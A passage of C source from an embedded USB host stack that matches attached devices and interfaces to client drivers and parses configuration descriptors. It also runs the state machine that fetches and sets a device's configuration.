/* Not tried with all TPL entries */
if(interfaceInfo->interfaceAssociationDescriptor != NULL)
{
/* IAD case */
USB_HOST_CLIENT_DRIVER * matchedClientDriver;
int matchedTPLEntry;
/* Get the Interface association descriptor */
interfaceAssociation = interfaceInfo->interfaceAssociationDescriptor;
/* Search the TPL for a driver */
interfaceInfo->tplEntryMatched = _USB_HOST_FindClassSubClassProtocolDriver(interfaceAssociation->bFunctionClass,
interfaceAssociation->bFunctionSubClass, interfaceAssociation->bFunctionProtocol, interfaceInfo->tplEntryMatched + 1);
/* Did we find a driver match */
if(interfaceInfo->tplEntryMatched < gUSBHostObj.nTPLEntries)
{
/* Yes we did */
interfaceInfoIterator = interfaceInfo;
iadIterator = 0;
matchedTPLEntry = interfaceInfo->tplEntryMatched;
matchedClientDriver = gUSBHostObj.tpl[interfaceInfo->tplEntryMatched].hostClientDriver;
while(interfaceInfoIterator != NULL)
{
/* Add the handle of this interface to the interface
* table. Assign the device level driver to all
* interfaces. */
interfaceHandles[iadIterator] = interfaceInfoIterator->interfaceHandle;
interfaceInfoIterator->interfaceDriver = matchedClientDriver;
interfaceInfoIterator->tplEntryMatched = matchedTPLEntry;
iadIterator ++;
interfaceInfoIterator = interfaceInfoIterator->nextInterface;
}
/* Now the interfaceHandles table has the
* handles of all the interfaces in this IAD.
* Call the client driver interface assign
* function with this table. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Assigning IAD to TPL entry %d", busIndex, deviceObj->deviceAddress, matchedTPLEntry);
matchedClientDriver->interfaceAssign(interfaceHandles,
deviceObj->deviceIdentifier, iadIterator, (uint8_t *)(interfaceInfo->interfaceAssociationDescriptor));
}
}
else if(interfaceInfo->interfaceDescriptor != NULL)
{
/* Single interface case */
interfaceDescriptor = (USB_INTERFACE_DESCRIPTOR *)(interfaceInfo->interfaceDescriptor);
/* Search for a driver */
interfaceInfo->tplEntryMatched = _USB_HOST_FindClassSubClassProtocolDriver(interfaceDescriptor->bInterfaceClass,
interfaceDescriptor->bInterfaceSubClass, interfaceDescriptor->bInterfaceProtocol, interfaceInfo->tplEntryMatched + 1);
/* Did we find a driver match */
if(interfaceInfo->tplEntryMatched < gUSBHostObj.nTPLEntries)
{
/* This means we found a match. Assign the
* driver. Create the interface table with one
* interface handle. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Assigning Interface to TPL entry %d", busIndex, deviceObj->deviceAddress, interfaceInfo->tplEntryMatched);
interfaceHandles[0] = interfaceInfo->interfaceHandle;
interfaceInfo->interfaceDriver = gUSBHostObj.tpl[interfaceInfo->tplEntryMatched].hostClientDriver;
interfaceInfo->interfaceDriver->interfaceAssign(interfaceHandles,
deviceObj->deviceIdentifier, 1, (uint8_t *)(interfaceInfo->interfaceDescriptor));
}
}
}
}
}
}
/* We have to keep check if all the interfaces and the device are
* owned. If we reach a point where none are owned and the search has
* reached the end of TPL, then we move the device to an error state.
* Moving the device to an error state will reduce the processing that
* the host has to do for this device */
if((deviceObj->deviceClientDriver == NULL) &&
(deviceObj->tplEntryTried >= gUSBHostObj.nTPLEntries) &&
(_USB_HOST_NoInterfacesOwned(deviceObj)))
{
/* This means that no driver will match this device. Move this
* device to an error state */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d not matched to any TPL entry", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler(USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context);
}
}
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_ReleaseInterfaceDrivers
(
USB_HOST_DEVICE_OBJ * deviceObj,
);
Summary:
This function will release all the loaded interface drivers.
Description:
This function will release all the loaded interface drivers. The matching
driver index for each interface will be updated to indicate that the
matching should start at the top of the TPL table.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_ReleaseInterfaceDrivers
(
USB_HOST_DEVICE_OBJ * deviceObj
)
{
int iterator;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo;
for(iterator = 0; iterator < USB_HOST_DEVICE_INTERFACES_NUMBER; iterator ++)
{
interfaceInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[iterator]);
if(interfaceInfo->interfaceDriver != NULL)
{
interfaceInfo->interfaceDriver->interfaceRelease(interfaceInfo->interfaceHandle);
interfaceInfo->interfaceDriver = NULL;
}
/* Clear up the other interface members */
interfaceInfo->tplEntryMatched = -1;
interfaceInfo->interfaceDescriptor = NULL;
interfaceInfo->wasTriedWithDeviceDriver = false;
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_ConfigurationDescriptorParse
(
USB_HOST_DEVICE_OBJ * deviceObj,
);
Summary:
This function will parse the configuration descriptor contained in the
configurationDescriptor of the configDescriptorInfo structure in deviceObj
and will populate the interface tables. If the configuration descriptor
contains IADs, it will then link the interfaces as defined by the IAD.
Description:
This function will parse the configuration descriptor contained in the
configurationDescriptor of the configDescriptorInfo structure in deviceObj
and will populate the interface tables. If the configuration descriptor
contains IADs, it will then link the interfaces as defined by the IAD.
Remarks:
This is a local function and should not be called directly by the
application.
*/
bool _USB_HOST_ConfigurationDescriptorParse
(
USB_HOST_DEVICE_OBJ * deviceObj
)
{
USB_HOST_INTERFACE_DESCRIPTOR_QUERY interfaceQueryObj;
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor;
USB_INTERFACE_DESCRIPTOR * interfaceDescriptor;
USB_INTERFACE_ASSOCIATION_DESCRIPTOR * interfaceAssociation;
USB_HOST_INTERFACE_DESC_INFO * interfaceDescInfo, * previousInterface;
USB_HOST_IAD_QUERY iadQueryObj;
bool result = true;
unsigned int iterator;
uint8_t bFirstInterface;
uint8_t bInterfaceCount;
/* Get the device index and the pnp identifier. These are needed to form the
* interface handle */
unsigned int deviceIndex = USB_HOST_DEVICE_INDEX(deviceObj->deviceIdentifier);
unsigned int pnpIdentifier = USB_HOST_PNP_IDENTIFIER(deviceObj->deviceIdentifier);
/* Get the configuration descriptor and the number of interfaces */
configurationDescriptor = deviceObj->configDescriptorInfo.configurationDescriptor;
int nInterfaces = configurationDescriptor->bNumInterfaces;
/* Reset the interface query context. Set up the interface query to find
* interface by number and alternate setting 0 */
USB_HOST_DeviceInterfaceQueryContextClear(&interfaceQueryObj);
interfaceQueryObj.flags = (USB_HOST_INTERFACE_QUERY_FLAG)(USB_HOST_INTERFACE_QUERY_BY_NUMBER | USB_HOST_INTERFACE_QUERY_ALT_SETTING);
interfaceQueryObj.bAlternateSetting = 0;
for(iterator = 0; iterator < nInterfaces; iterator ++)
{
/* Search for interface descriptor */
interfaceQueryObj.bInterfaceNumber = iterator;
interfaceDescriptor = USB_HOST_DeviceInterfaceDescriptorQuery(configurationDescriptor, &interfaceQueryObj);
if(interfaceDescriptor == NULL)
{
/* This should never happen. The host will check a configuration
* descriptor for error before it allows the device to reach this
* stage. Cannot say why the interface descriptor was not found */
result = false;
break;
}
/* Initialize the interface descriptor information object */
interfaceDescInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[iterator]);
interfaceDescInfo->interfaceDescriptor = interfaceDescriptor;
interfaceDescInfo->interfaceAssociationDescriptor = NULL;
interfaceDescInfo->currentAlternateSetting = 0;
interfaceDescInfo->interfaceHandle = _USB_HOST_DeviceInterfaceHandleGet(pnpIdentifier, iterator, deviceIndex);
interfaceDescInfo->tplEntryMatched = -1;
}
/* Update the number of interfaces in the device object */
deviceObj->nInterfaces = nInterfaces;
/* Now we search the configuration descriptor for IADs. Clear the search
* context before we start the search. */
USB_HOST_DeviceIADQueryContextClear(&iadQueryObj);
do
{
/* We will search for any IAD. */
iadQueryObj.flags = USB_HOST_IAD_QUERY_FLAG_ANY;
/* Search for IAD */
interfaceAssociation = USB_HOST_DeviceIADQuery(configurationDescriptor, &iadQueryObj);
if(interfaceAssociation != NULL)
{
/* Get the starting interface and the number of contiguous
* interfaces */
bInterfaceCount = interfaceAssociation->bInterfaceCount;
bFirstInterface = interfaceAssociation->bFirstInterface;
previousInterface = NULL;
for(iterator = bFirstInterface; iterator < (bFirstInterface + bInterfaceCount); iterator ++)
{
/* Get the pointer to the interface descriptor object for this
* interface. Set the interfaceAssociationDescriptor member to
* point to IAD. Set the next descriptor to point to the next
* interface descriptor in the group. */
interfaceDescInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[iterator]);
interfaceDescInfo->interfaceAssociationDescriptor = interfaceAssociation;
if(previousInterface == NULL)
{
/* This is the first interface in this group. We set the
* previous interface to the current interface. */
previousInterface = interfaceDescInfo;
previousInterface->nextInterface = NULL;
}
else
{
/* This is the not the first interface in the group. Set the
* next interface of previous one to this one. Then set
* previous to this interface. */
previousInterface->nextInterface = interfaceDescInfo;
interfaceDescInfo->nextInterface = NULL;
previousInterface = interfaceDescInfo;
}
}
}
else
{
/* No more IAD in this configuration descriptor */
}
} while(interfaceAssociation != NULL);
/* At this point, if there was an IAD, say 2 IAD with interface 0 and 1 and
* 2 and 3. The interfaceAssociationDescriptor of interfaceInfo[0] and
* interfaceInfo[1] will point to the parent IAD.
* interfaceInfo[0].nextInterface will point to interfaceInfo[1] and
* interfaceInfo[1].nextInterface will be NULL because it is the last
* interface in this group. Similarly interfaceAssociationDescriptor of
* interfaceInfo[2] and interfaceInfo[3] will point to the parent IAD.
* interfaceInfo[2].nextInterface will point to interfaceInfo[3] and
* interfaceInfo[3].nextInterface will be NULL because it is the last
* interface in this group. */
return(result);
}
// *****************************************************************************
/* Function:
int _USB_HOST_FindClassSubClassProtocolDriver
(
uint8_t bDeviceClass,
uint8_t bDeviceSubClass,
uint8_t bDeviceProtocol,
int startPoint
);
Summary:
This function will search for matching class subclass protocol driver in the
TPL table.
Description:
This function will search for matching class subclass protocol driver in the
TPL table. If a driver was not found, the function will return the last
index of the TPL table + 1. The function will start searching from (and
including) startPoint.
Remarks:
This is a local function and should not be called directly by the
application.
*/
int _USB_HOST_FindClassSubClassProtocolDriver
(
uint8_t bDeviceClass,
uint8_t bDeviceSubClass,
uint8_t bDeviceProtocol,
int startPoint
)
{
USB_HOST_TPL_ENTRY * tpl;
int iterator;
USB_HOST_OBJ * hostObj = &gUSBHostObj;
unsigned int matched = 0;
unsigned int tplFlags;
for(iterator = startPoint; iterator < hostObj->nTPLEntries; iterator ++)
{
tpl = &hostObj->tpl[iterator];
/* Check if this entry is a class subclass protocol entry */
if(tpl->tplFlags.driverType == TPL_FLAG_CLASS_SUBCLASS_PROTOCOL)
{
/* First we check if which field match */
if(bDeviceClass == tpl->id.cl_sc_p.classCode)
{
/* Class matched */
matched |= 0x2;
}
if(bDeviceSubClass == tpl->id.cl_sc_p.subClassCode)
{
/* Subclass matched */
matched |= 0x4;
}
if(bDeviceProtocol == tpl->id.cl_sc_p.protocolCode)
{
/* Protocol matched */
matched |= 0x8;
}
tplFlags = (tpl->tplFlags.ignoreClass << 1) | (tpl->tplFlags.ignoreSubClass << 2) | (tpl->tplFlags.ignoreProtocol << 3);
matched = matched & (~(tplFlags & 0xE));
/* Now check if the criteria matches */
if((tplFlags & 0xE) == ((~matched) & 0xE))
{
/* We found a match */
break;
}
}
}
return(iterator);
}
// *****************************************************************************
/* Function:
void _USB_HOST_UpdateConfigurationState
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
);
Summary:
This function will update the configuration state of the device.
Description:
This function will check if the device configuration needs to be changed. If
so then it gets the configuration, parses the configuration, sets up the
interface tables and then sets the configuration.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_UpdateConfigurationState
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
)
{
USB_HOST_BUS_OBJ * busObj;
USB_CONFIGURATION_DESCRIPTOR * configurationDescriptor;
USB_HOST_DEVICE_EVENT_CONFIGURATION_SET_DATA eventData;
int iterator;
uint8_t isSelfPowered;
busObj = &(gUSBHostBusList[busIndex]);
/* This redundant statement is added to avoid warning in a case where the
* debug messages are disabled. */
busObj = busObj;
/* Only proceed if the device is in a ready state */
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY)
{
switch(deviceObj->configurationState)
{
case USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG:
/* We don't have to do anything here. The state indicates that
* the device is ready for configuration, but somebody has to
* set it */
break;
case USB_HOST_DEVICE_CONFIG_STATE_START:
/* Start the process of setting the configuration. We first get
* the configuration header. The requestedConfigurationNumber
* member of deviceObj contains the index of the configuration to be
* set */
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_DEVICE_TO_HOST |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR,
( USB_DESCRIPTOR_CONFIGURATION << 8 )+ deviceObj->requestedConfigurationNumber , 0 , 9 ) ;
/* Fill IRP */
deviceObj->controlTransferObj.controlIRP.data = ( void * )deviceObj->buffer;
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = 9;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
/* Set the next state */
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIG_DESCRIPTOR_HEADER_GET;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the
* device to an error state. Close the pipe and send
* an event to the application. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Configuration Descriptor IRP failed. Device not supported.",
busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
}
break;
case USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIG_DESCRIPTOR_HEADER_GET:
/* Here we are waiting for Get Short Configuration header to
* complete */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
if (deviceObj->hubAddress == 0x00 )
{
/* Check if the device is a self powered or bus powered */
configurationDescriptor = (USB_CONFIGURATION_DESCRIPTOR *)(deviceObj->buffer);
isSelfPowered = ( ( configurationDescriptor->bmAttributes ) & USB_ATTRIBUTE_SELF_POWERED );
if (isSelfPowered != USB_ATTRIBUTE_SELF_POWERED )
{
/* This means the device is bus powered. We should check
* if this configuration requires more current than what
* the root hub can provide. */
if ( 2 * ( configurationDescriptor->bMaxPower ) > busObj->rootHubInfo.power )
{
/* This means the device needs more power than what
* the root hub can provide. We cannot set this
* configuration. */
if(deviceObj->deviceClientDriver != NULL)
{
/* This means this device has device level
* driver and it is this driver that had
* requested for the configuration chanage.
* We let the driver know that the
* configuration cannot be set and then move
* the device to a ready but un-configured
* state. This will allow the driver level
* driver to try setting another
* configuration. */
eventData.result = USB_HOST_RESULT_FAILURE;
deviceObj->deviceState = USB_HOST_DEVICE_STATE_READY;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG;
/* We should send an event to the client
* driver result is failure */
deviceObj->deviceClientDriver->deviceEventHandler(deviceObj->deviceClientHandle,
USB_HOST_DEVICE_EVENT_CONFIGURATION_SET, &eventData, deviceObj->controlTransferObj.context);
}
else
{
/* The device does not have a devel lever
* client driver. This means the host layer
* owns the device. The host layer at this
* time cannot try any other configuration.
* The device must be moved to an
* in-operational state because of an
* over-current request. */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
}
/* We should send an event to the application */
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_REJECTED_INSUFFICIENT_POWER, NULL, gUSBHostObj.context );
}
break;
}
}
}
/* IRP was successful. Go to the next state */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Obtained Configuration Descriptor header", busIndex, deviceObj->deviceAddress);
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_CONFIG_DESCRIPTOR_GET;
}
else
{
/* The IRP did not complete successfully. */
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
/* Close the pipe */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Error while obtaining Configuration Descriptor header",
busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
/* We should send an event to the application
* and then wait for device attach */
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
break;
case USB_HOST_DEVICE_CONFIG_STATE_CONFIG_DESCRIPTOR_GET:
/* Allocate memory and then get the entire configuration
* descriptor */
if(deviceObj->configDescriptorInfo.configurationDescriptor != NULL)
{
USB_HOST_FREE(deviceObj->configDescriptorInfo.configurationDescriptor);
}
/* Now allocate memory. While allocating the memory, we allocate
* 7 additional bytes to store the end of configuration
* descriptor memory configuration marker. This marker will
* allow the query functions to identify the end of the
* configuration descriptor */
configurationDescriptor = (USB_CONFIGURATION_DESCRIPTOR *)(deviceObj->buffer);
deviceObj->configDescriptorInfo.configurationDescriptor = USB_HOST_MALLOC(configurationDescriptor->wTotalLength + 7);
if(deviceObj->configDescriptorInfo.configurationDescriptor == NULL)
{
/* The memory allocation failed. We need memory to continue.
* We have to stop here */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Could not allocate memory for Configuration Descriptor", busIndex, deviceObj->deviceAddress);
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
}
else
{
/* Place a request for the full configuration descriptor */
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket), ( USB_SETUP_DIRN_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR, ( USB_DESCRIPTOR_CONFIGURATION << 8 ) + deviceObj->requestedConfigurationNumber,
0 ,configurationDescriptor->wTotalLength) ;
/* Create the IRP */
deviceObj->controlTransferObj.controlIRP.data = deviceObj->configDescriptorInfo.configurationDescriptor;
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = configurationDescriptor->wTotalLength;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIG_DESCRIPTOR_GET;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the
* device to an error state. Close the pipe and send
* an event to the application. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Configuration Descriptor IRP failed. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
break;
case USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIG_DESCRIPTOR_GET:
/* Here we check if we have received the configuration
* descriptor */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
/* We have received the configuration descriptor.
* We can set this configuration. */
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_CONFIGURATION_SET;
}
else
{
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Error while obtaining Configuration Descriptor.", busIndex, deviceObj->deviceAddress);
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Move the device to error state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler(USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
break;
case USB_HOST_DEVICE_CONFIG_STATE_CONFIGURATION_SET:
/* In this state, the host will set the configuration */
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_HOST_TO_DEVICE |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_SET_CONFIGURATION,
deviceObj->configDescriptorInfo.configurationDescriptor->bConfigurationValue,
0 ,0 ) ;
/* Fill IRP */
deviceObj->controlTransferObj.controlIRP.data = NULL;
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = 0;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIGURATION_SET;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the
* device to an error state. Close the pipe and send
* an event to the application. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Set Configuration IRP failed. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
}
break;
case USB_HOST_DEVICE_CONFIG_STATE_WAIT_FOR_CONFIGURATION_SET:
/* Here we check if the set configuration has completed */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
/* The configuration set was successful. Unload the existing
* interface drivers */
_USB_HOST_ReleaseInterfaceDrivers(deviceObj);
/* Insert the end of the configuration descriptor marker
* into the configuration */
configurationDescriptor = deviceObj->configDescriptorInfo.configurationDescriptor;
for(iterator = 0; iterator < 7; iterator ++)
{
/* The end of configuration descriptor is 7 bytes, each
* 0xFF */
((uint8_t *)(configurationDescriptor))[configurationDescriptor->wTotalLength + iterator] = 0xFF;
}
/* Parse the configuration descriptor and then update the
* interface tables. */
if(!_USB_HOST_ConfigurationDescriptorParse(deviceObj))
{
/* The parsing failed */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Error in configuration desciptor", busIndex, deviceObj->deviceAddress);
eventData.result = USB_HOST_RESULT_FAILURE;
}
else
{
/* The parsing worked. Update the active configuration
* to indicate that the configuration has been set */
deviceObj->configDescriptorInfo.configurationNumber = deviceObj->configDescriptorInfo.configurationDescriptor->bConfigurationValue;
eventData.result = USB_HOST_RESULT_SUCCESS;
}
/* If there is device level client driver, then we let it
* know that the configuration has been set. */
eventData.requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
if(deviceObj->deviceClientDriver != NULL)
{
deviceObj->deviceClientDriver->deviceEventHandler(deviceObj->deviceClientHandle,
USB_HOST_DEVICE_EVENT_CONFIGURATION_SET, &eventData, deviceObj->controlTransferObj.context);
}
/* The configuration set is complete. We are ready to set
* another configuration if requested. Return the control
* transfer object back */
deviceObj->controlTransferObj.inUse = false;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG;
}
else
{
/* The set configuration request failed */
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
eventData.result = USB_HOST_RESULT_FAILURE;
/* If there is device level client driver, then we let it
* know that the configuration has been set. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Could not set configuration.", busIndex, deviceObj->deviceAddress);
eventData.requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
if(deviceObj->deviceClientDriver != NULL)
{
deviceObj->deviceClientDriver->deviceEventHandler(deviceObj->deviceClientHandle,
USB_HOST_DEVICE_EVENT_CONFIGURATION_SET, &eventData, deviceObj->controlTransferObj.context);
}
deviceObj->controlTransferObj.inUse = false;
deviceObj->configurationState = USB_HOST_DEVICE_CONFIG_STATE_READY_FOR_CONFIG;
}
}
break;
default:
break;
}
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_UpdateDeviceOwnership
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
);
Summary:
This function will find a device level owner client driver.
Description:
This function will find a device level client driver owner. If a VID PID
level driver is not found then a device level class subclass protocol driver
needs to be found. If device was released, then a new owner needs to be
found. If the end of the TPL table is reached, then the stop searching and
hand over ownership of the device to the host. If a driver is attached, the
function will call the tasks routine of this driver.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_UpdateDeviceOwnership
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
)
{
int tplSearch;
USB_HOST_TPL_ENTRY * tpl;
USB_DEVICE_DESCRIPTOR * deviceDescriptor;
USB_HOST_BUS_OBJ * busObj;
busObj = &(gUSBHostBusList[busIndex]);
/* This redundant statement is added to avoid warning in a case where the
* debug messages are disabled. */
busObj = busObj;
/* Check if the device is in a ready state. */
if(deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY)
{
deviceDescriptor = &(deviceObj->deviceDescriptor);
if(deviceObj->deviceClientDriver != NULL)
{
/* Run the tasks routine */
deviceObj->deviceClientDriver->deviceTasks(deviceObj->deviceClientHandle);
}
/* Matching is needed only if the device is not claimed and we have not
* already reached the end of the table*/
if((deviceObj->deviceClientDriver == NULL) && (!(deviceObj->tplEntryTried >= gUSBHostObj.nTPLEntries)))
{
/* The initial value (on device connect) of tplEntryTried is -1. So then
* the tplSearch will start matching from 0. If this is not the first
* time matching, then matching will start from the next entry in the
* TPL table */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d Looking for Device Level Driver.", busIndex, deviceObj->deviceAddress);
for (tplSearch = (deviceObj->tplEntryTried + 1); tplSearch < gUSBHostObj.nTPLEntries; tplSearch ++)
{
tpl = &gUSBHostObj.tpl[tplSearch];
if(tpl->tplFlags.driverType == TPL_FLAG_VID_PID)
{
/* This entry is a VID PID Entry */
if(tpl->tplFlags.ignoreVIDPID)
{
/* This means we should attach this driver as the entry says
* that ignore the VID PID and match */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d matched entry %d in TPL table",
busIndex, deviceObj->deviceAddress, tplSearch);
deviceObj->deviceClientDriver = (USB_HOST_CLIENT_DRIVER *)(tpl->hostClientDriver);
break;
}
else if(tpl->tplFlags.pidMasked)
{
/* This means we should apply the specified mask to the PID
* field and then compare. */
if((deviceDescriptor->idVendor == tpl->id.vid_pid.vid) &&
((deviceDescriptor->idProduct & tpl->pidMask) == tpl->id.vid_pid.pid))
{
/* Criteria matched */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d matched entry %d in TPL table",
busIndex, deviceObj->deviceAddress, tplSearch);
deviceObj->deviceClientDriver = (USB_HOST_CLIENT_DRIVER *)(tpl->hostClientDriver);
break;
}
}
else if((deviceDescriptor->idVendor == tpl->id.vid_pid.vid) &&
(deviceDescriptor->idProduct == tpl->id.vid_pid.pid))
{
/* Criteria matched */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Device %d matched entry %d in TPL table",
busIndex, deviceObj->deviceAddress, tplSearch);
deviceObj->deviceClientDriver = (USB_HOST_CLIENT_DRIVER *)(tpl->hostClientDriver);
break;
}
}
}
if(deviceObj->deviceClientDriver != NULL)
{
/* This means a driver was found. Call the driver assign function */
SYS_DEBUG_PRINT(SYS_ERROR_INFO,"\r\nUSB Host Layer: Bus %d Assigning device level driver to device %d", busIndex, deviceObj->deviceAddress);
deviceObj->deviceClientDriver->deviceAssign(deviceObj->deviceClientHandle, deviceObj->deviceIdentifier, &(deviceObj->deviceDescriptor));
}
/* Irrespective of the search result, we keep track of where the search
* stopped. If the search stopped at the end and no driver was assigned
* then we know there was no VID PID match for this device. */
deviceObj->tplEntryTried = tplSearch;
}
